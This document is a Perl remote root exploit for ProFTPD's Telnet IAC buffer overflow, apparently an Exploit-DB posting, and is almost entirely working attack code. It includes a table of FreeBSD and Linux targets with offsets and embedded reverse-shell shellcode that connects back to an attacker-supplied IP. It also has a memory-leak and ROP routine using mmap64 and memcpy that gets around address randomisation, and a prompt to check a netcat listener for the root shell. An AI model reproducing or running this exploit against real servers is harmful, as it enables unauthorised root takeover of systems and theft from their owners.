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# Exploit Title: ProFTPD IAC Remote Root Exploit # Date: 7 November 2010 # Author: Kingcope # # E-DB Note: If you have issues with this exploit, alter lines 549, 555 and 563. use IO::Socket; $numtargets = 13; @targets = ( # Plain Stack Smashing #Confirmed to work ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC "FreeBSD", # OPERATING SYSTEM 0, # EXPLOIT STYLE 0xbfbfe000, # OFFSET START 0xbfbfff00, # OFFSET END 1029], # ALIGN #Confirmed to work ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)", "FreeBSD", 0, 0xbfbfe000, 0xbfbfff00, 1021], # Return into Libc #Confirmed to work ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, # EXPLOIT STYLE 0x0804CCD4, # write(2) offset 8189, # ALIGN 0], # PADDING # Confirmed to work ["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)", "Linux", 1, 0x0804D23C, 4101, 0], #Confirmed to work ["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804C9A4, 8189, 0], #Confirmed to work ["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)", "Linux", 1, 0x080532D8, 4101, 12], ["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804C9C4, 8189, 0], ["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804CAA8, 8189, 0], ["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804CBBC, 8189, 0], ["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804CCBC, 8189, 0], #Confirmed to work ["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804CCE0, 8189, 0], ["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804CA2C, 8189, 0], #Confirmed to work ["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, 0x0804C290, 8189, 0], # feel free to add more targets. ); #freebsd reverse shell port 45295 #setup a netcat on this port ^^ $bsdcbsc = # setreuid "\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80". # connect back :> "\x31\xc0\x31\xdb\x53\xb3\x06\x53". "\xb3\x01\x53\xb3\x02\x53\x54\xb0". "\x61\xcd\x80\x31\xd2\x52\x52\x68". "\x41\x41\x41\x41\x66\x68\xb0\xef". "\xb7\x02\x66\x53\x89\xe1\xb2\x10". "\x52\x51\x50\x52\x89\xc2\x31\xc0". "\xb0\x62\xcd\x80\x31\xdb\x39\xc3". "\x74\x06\x31\xc0\xb0\x01\xcd\x80". "\x31\xc0\x50\x52\x50\xb0\x5a\xcd". "\x80\x31\xc0\x31\xdb\x43\x53\x52". "\x50\xb0\x5a\xcd\x80\x31\xc0\x43". "\x53\x52\x50\xb0\x5a\xcd\x80\x31". "\xc0\x50\x68\x2f\x2f\x73\x68\x68". "\x2f\x62\x69\x6e\x89\xe3\x50\x54". "\x53\x50\xb0\x3b\xcd\x80\x31\xc0". "\xb0\x01\xcd\x80"; #linux reverse shell port 45295 by bighawk #setup a netcat on this port ^^ $lnxcbsc = # setreuid "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90". # connect back :> "\x6a\x66". "\x58". "\x6a\x01". "\x5b". "\x31\xc9". "\x51". "\x6a\x01". "\x6a\x02". "\x89\xe1". "\xcd\x80". "\x68\x7f\x7f\x7f\x7f". # IP "\x66\x68\xb0\xef". # PORT "\x66\x6a\x02". "\x89\xe1". "\x6a\x10". "\x51". "\x50". "\x89\xe1". "\x89\xc6". "\x6a\x03". "\x5b". "\x6a\x66". "\x58". "\xcd\x80". "\x87\xf3". "\x6a\x02". "\x59". "\xb0\x3f". "\xcd\x80". "\x49". "\x79\xf9". "\xb0\x0b". "\x31\xd2". "\x52". "\x68\x2f\x2f\x73\x68". "\x68\x2f\x62\x69\x6e". "\x89\xe3". "\x52". "\x53". "\x89\xe1". "\xcd\x80"; sub exploit1 { for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) { printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter); $ret = pack("V", $counter); $align = $targets[$ttype][5]; my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 21, Proto=> 'tcp'); $stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10; $v = <$sock>; print $sock "\x00" x $align . "\xff" . $stack . "\n"; close($sock); } } # Linux technique to retrieve a rootshell (C) kingcope 2010 # # uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA) # only the write(2) plt entry offset is needed for the exploit to work (and of course the # align value) # once the correct write value is given to the exploit it fetches the memory space of proftpd. # with this information the exploit can find function entries and byte values # relative to the write(2) address. # once the memory is read out the exploit does the following to circumvent linux adress space # randomization: # # 1.) calculate mmap64() plt entry # 2.) seek for assembly instructions in the proftpd memory space relative to write(2) # such as pop pop ret instructions # 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute # 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine # 4.) copy known assembly instructions (which have been found before using the memory read) # to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100 # and make use of the memcpy found before # 5.) actually jump to the shellcode finder # 6.) once the shellcode has been copied to 0x10000100 jump to it # 7.) shellcode gets executed and we have our desired root shell. sub exploit2 { printf("[$target] %s :pP\n", $targets[$ttype][0]); $align = $targets[$ttype][4]; $write_offset = $targets[$ttype][3]; $padding = $targets[$ttype][5]; $|=1; print "align = $align\n"; print "Seeking for write(2)..\n"; #known good write(2) values #0x0804C290 #0x0804A85C #0x0804A234 #0x08052830 #080532D8 proftpd-basic_1.3.3a-4_i386 #08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu) #0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !! printf "Using write offset %08x.\n", $write_offset; $k = $write_offset; $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 21, Proto=> 'tcp'); $sock->sockopt(SO_LINGER, pack("ii", 1, 0)); #$x = <stdin>; $stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding . pack("V", $k).# write "\xcc\xcc\xcc\xcc". "\x01\x00\x00\x00". # fd for write pack("V", $k). # buffer for write "\xff\xff\x00\x00"; # length for write $v = <$sock>; print $sock "\x00" x $align . "\xff" . $stack . "\n"; vec ($rfd, fileno($sock), 1) = 1; $timeout = 2; if (select ($rfd, undef, undef, $timeout) >= 0 && vec($rfd, fileno($sock), 1)) { if (read($sock, $buff, 0xffff) == 0xffff) { printf "\nSUCCESS. write(2) is at %08x\n", $k; close($sock); goto lbl1; } } close($sock); printf "wrong write(2) offset.\n"; exit; lbl1: # Once we're here chances are good that we get the root shell print "Reading memory from server...\n"; my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 21, Proto=> 'tcp'); $stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . pack("V", $k).# write "\xcc\xcc\xcc\xcc". "\x01\x00\x00\x00". # fd for write pack("V", $k). # buffer for write "\xff\xff\x0f\x00"; # length for write $v = <$sock>; print $sock "\x00" x $align . "\xff" . $stack . "\n"; read($sock, $buff, 0xfffff); if (($v = index $buff, "\x5E\x5F\x5D") >= 0) { $pop3ret = $k + $v; printf "pop pop pop ret located at %08x\n", $pop3ret; } else { print "Could not find pop pop pop ret\n"; exit; } if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) { $largepopret = $k + $v; printf "large pop ret located at %08x\n", $largepopret; } else { print "Could not find pop pop pop ret\n"; exit; } if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) { $addr1 = $k+$v+23; $mmap64 = unpack("I", substr($buff, $v+20, 4)); $mmap64 = $addr1 - (0xffffffff-$mmap64); printf "mmap64 is located at %08x\n", $mmap64; } else { if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) { $addr1 = $k+$v+17; $mmap64 = unpack("I", substr($buff, $v+14, 4)); $mmap64 = $addr1 - (0xffffffff-$mmap64); printf "mmap64 is located at %08x\n", $mmap64; } else { print "Could not find mmap64()\n"; exit; } } if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) { $addr1 = $k+$v+21; $memcpy = unpack("I", substr($buff, $v+18, 4)); $memcpy = $addr1 - (0xffffffff-$memcpy); printf "memcpy is located at %08x\n", $memcpy; } else { if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) { $addr1 = $k+$v+21; $memcpy = unpack("I", substr($buff, $v+18, 4)); $memcpy = $addr1 - (0xffffffff-$memcpy); printf "memcpy is located at %08x\n", $memcpy; } else { if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) { $addr1 = $k+$v+16; $memcpy = unpack("I", substr($buff, $v+13, 4)); $memcpy = $addr1 - (0xffffffff-$memcpy); printf "memcpy is located at %08x\n", $memcpy; } else { if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) { $addr1 = $k+$v+15; $memcpy = unpack("I", substr($buff, $v+12, 4)); $memcpy = $addr1 - (0xffffffff-$memcpy); printf "memcpy is located at %08x\n", $memcpy; } else { if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) { $addr1 = $k+$v+18; $memcpy = unpack("I", substr($buff, $v+15, 4)); $memcpy = $addr1 - (0xffffffff-$memcpy); printf "memcpy is located at %08x\n", $memcpy; } else { print "Could not find memcpy()\n"; exit; } } } } } if (($v = index $buff, "\xfc\x8b") >= 0) { $byte1 = $k+$v; printf ("byte1: %08x\n", $byte1); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\xf4") >= 0) { $byte2 = $k+$v; printf ("byte2: %08x\n", $byte2); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\xbf") >= 0) { $byte3 = $k+$v; printf ("byte3: %08x\n", $byte3); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\x00\x01\x00") >= 0) { $byte4 = $k+$v; printf ("byte4: %08x\n", $byte4); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\x10") >= 0) { $byte5 = $k+$v; printf ("byte5: %08x\n", $byte5); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) { $byte6 = $k+$v; printf ("byte6: %08x\n", $byte6); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\xf3") >= 0) { $byte7 = $k+$v; printf ("byte7: %08x\n", $byte7); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\xA4") >= 0) { $byte8 = $k+$v; printf ("byte8: %08x\n", $byte8); } else { print "Could not find a special byte\n"; exit; } if (($v = index $buff, "\xeb\xff") >= 0) { $byte9 = $k+$v; printf ("byte9: %08x\n", $byte9); } else { print "Could not find a special byte\n"; exit; } # shellcode copy routine: #0100740B FC CLD #0100740C 8BF4 MOV ESI,ESP #0100740E BF 00010010MOV EDI,10000100 #01007413 B9 00020000MOV ECX,200 #01007418 F3:A4REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> # EB FF JMP +0xFF # FC 8B # F4 BF # 00 01 00 # 10 # B9 00 02 00 00 # F3:A4 # EB FF # El1Te X-Ploit TechNiqUe (C) print "Building exploit buffer\n"; $stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . pack("V", $mmap64). # mmap64() pack("V", $largepopret). # add esp, 20h; pop; pop "\x00\x00\x00\x10". # mmap start "\x00\x10\x00\x00". # mmap size "\x07\x00\x00\x00". # mmap prot "\x32\x00\x00\x00". # mmap flags "\xff\xff\xff\xff". # mmap fd "\x00\x00\x00\x00". # mmap offset "\x00\x00\x00\x00". # mmap offset "\x00\x00\x00\x00". "\x00\x00\x00\x00". "\x00\x00\x00\x00". "\x00\x00\x00\x00". pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x00\x00\x00\x10". # destination pack("V", $byte1). # origin "\x02\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x02\x00\x00\x10". # destination pack("V", $byte2). # origin "\x01\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x03\x00\x00\x10". # destination pack("V", $byte3). # origin "\x01\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x04\x00\x00\x10". # destination pack("V", $byte4). # origin "\x03\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x07\x00\x00\x10". # destination pack("V", $byte5). # origin "\x01\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x08\x00\x00\x10". # destination pack("V", $byte6). # origin "\x05\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x0d\x00\x00\x10". # destination pack("V", $byte7). # origin "\x01\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x0e\x00\x00\x10". # destination pack("V", $byte8). # origin "\x01\x00\x00\x00". # number of bytes to copy pack("V", $memcpy). # memcpy() pack("V", $pop3ret). # pop; pop; pop; retn "\x0f\x00\x00\x10". # destination pack("V", $byte9). # origin "\x02\x00\x00\x00". # number of bytes to copy "\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address "\x90" x 100 . $shellcode . "\x90" x 10; print "Sending exploit buffer!\n"; my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 21, Proto=> 'tcp'); $v = <$sock>; print $sock "\x00" x $align . "\xff" . $stack . "\n"; print "Check your netcat?\n"; while(<$sock>) { print; } } sub usage() { print "written by kingcope\n"; print "usage:\n". "proremote.pl <target ip/host> <your ip> <target type>\n\n"; for ($i=0; $i<$numtargets; $i++) { print "\t[".$i."]\t". $targets[$i][0]. "\r\n"; } exit; } if ($#ARGV ne 2) { usage; } $target = $ARGV[0]; $cbip = $ARGV[1]; $ttype = $ARGV[2]; $platform = $targets[$ttype][1]; $style = $targets[$ttype][2]; ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip")); if ($platform eq "FreeBSD") { $shellcode = $bsdcbsc; substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4); } else { if ($platform eq "Linux") { $shellcode = $lnxcbsc; substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4); } else { print "typo ?\n"; exit; }} if ($style eq 0) { exploit1; } else { exploit2; } print "done.\n"; exit; |
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